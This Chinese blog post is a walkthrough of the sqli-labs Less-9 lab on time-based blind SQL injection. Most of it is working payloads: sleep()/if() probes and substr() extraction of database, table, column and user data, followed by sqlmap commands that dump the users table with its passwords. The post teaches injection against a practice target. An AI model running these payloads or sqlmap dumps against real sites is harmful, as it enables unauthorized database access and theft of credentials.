时间盲注Less—9+sqlmap解法

手工注入

union注入————有显示位

布尔盲注————无显示位但是网站页面会跟据代码而改变

时间注入————无显示位但是页面也不会根据命令存在回显,(具体主要看网站回显时间)

sleep()延迟函数

if(1=1,ture,false)if函数

时间盲注无论输入测试?id=1' and 1=2 %23还是?id=1 and 1=2都不显示有无注入我们这就尝试延迟注入

我们进行延迟注入当我们测试?id=1 and sleep(5) 后我们会发现它反映很快没有执行我们的sleep()函数而当我们执行?id=1' and sleep(5) %23发现它执行了我们的sleep函数说明他为字符型注入

我们要是还想测试是不是字符注入

?id=1 and if(1=2,sleep(5),1)/?id=1 and if(1=1,sleep(5),1)你会发现他执行很快没有延迟五秒

而?id=1' and if(1=1,sleep(5),1)%23则会发现执行很慢存在注入而?id=1' and if(1=2,sleep(5),1)%23

执行很快说明存在延迟注入

时间盲注接下来就和布尔盲注一样我们先看database()的长度

?id=1’ and if(length(database())>3,sleep(5),1)%23

如果database()长度大于3则执行sleep(5),如果小于3则执行1(反应很快)

我们试到当前数据库长度为8

我们测试当前数据库第一个字符是什么如果是s则反应延迟5秒如果不是反应迅速

?id=1%27%20and%20if(substr(database(),1,1)=%22s%22,sleep(5),1)%23

接下来进行爆破数据库名称 

我们得到了数据库名称security

接下来我们要查询数据表

?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) %23

我们判断数据表是否等于1,如果等于1则返回延迟5秒若不等于则返回很快

判断出来数据表为4

我们可以先用length()查看数据表的长度有几位这里我猜测为6为(就是6位)

http://localhost/sqli-labs-master/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 ,sleep(5),1) %23

可以看出第一张表的长度为6位我们接下来看第一张表的字母是什么用substr函数


http://localhost/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)="e" ,sleep(5),1)%23

我们bp可以看出第一张表的名称

可以看出第一张表的名称是emails

我们接下来bp其他表我们知道一共有四张表我们把它bp出来

第二个表referers,第三个表uagents第四个表users

我们怀疑users表里存放用户名和密码

我们先判断users表里的字段(users里的字段为3)

http://localhost/sqli-labs-master/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name="users")=3 ,sleep(5),1)%23

我们判断users表里的字段是否等于3,如果等于3则返回延迟5秒若不等于则返回很快 

我们判断users里表的字段名称

http://localhost/sqli-labs-master/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)="i" ,sleep(5),1)%23

使用bp看字段名称

 

得到字段为id,username,password

我们查看username的条数是否等于13(可以用bp出来username的条数)

http://localhost/sqli-labs-master/Less-9/?id=1' and if((select count(username)from users)=13,sleep(5),1)%23

我们查看username的第1条数据的第一个字母是什么

http://localhost/sqli-labs-master/Less-9/?id=1' and if(substr((select username from users limit 0,1),1,1)="D" ,sleep(5),1)%23

爆破出来username的第一条数据是什么

同样步骤可以这样检测password

sqlmap解法

sqlmap -u http://10.3.72.161/sqli-labs-master/Less-9/?id=1 --dbs --level 2 --batch

显示出来数据库名称

我们查看当前使用的数据库

sqlmap -u http://10.3.72.161/sqli-labs-master/Less-9/?id=1 -current-db 

得到当前数据库名称

查看当前数据库的表

 sqlmap -u http://10.3.72.161/sqli-labs-master/Less-9/?id=1 -D security -tables

sqlmap -u http://10.3.72.161/sqli-labs-master/Less-9/?id=1 -D security -T users --columns

得出四个表查询users表中的字段

得到字段名称我们接下来爆破字段

 sqlmap -u http://10.3.72.161/sqli-labs-master/Less-9/?id=1 -D security -T users -C id,password,username --dump

得到security数据库中users表中的内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值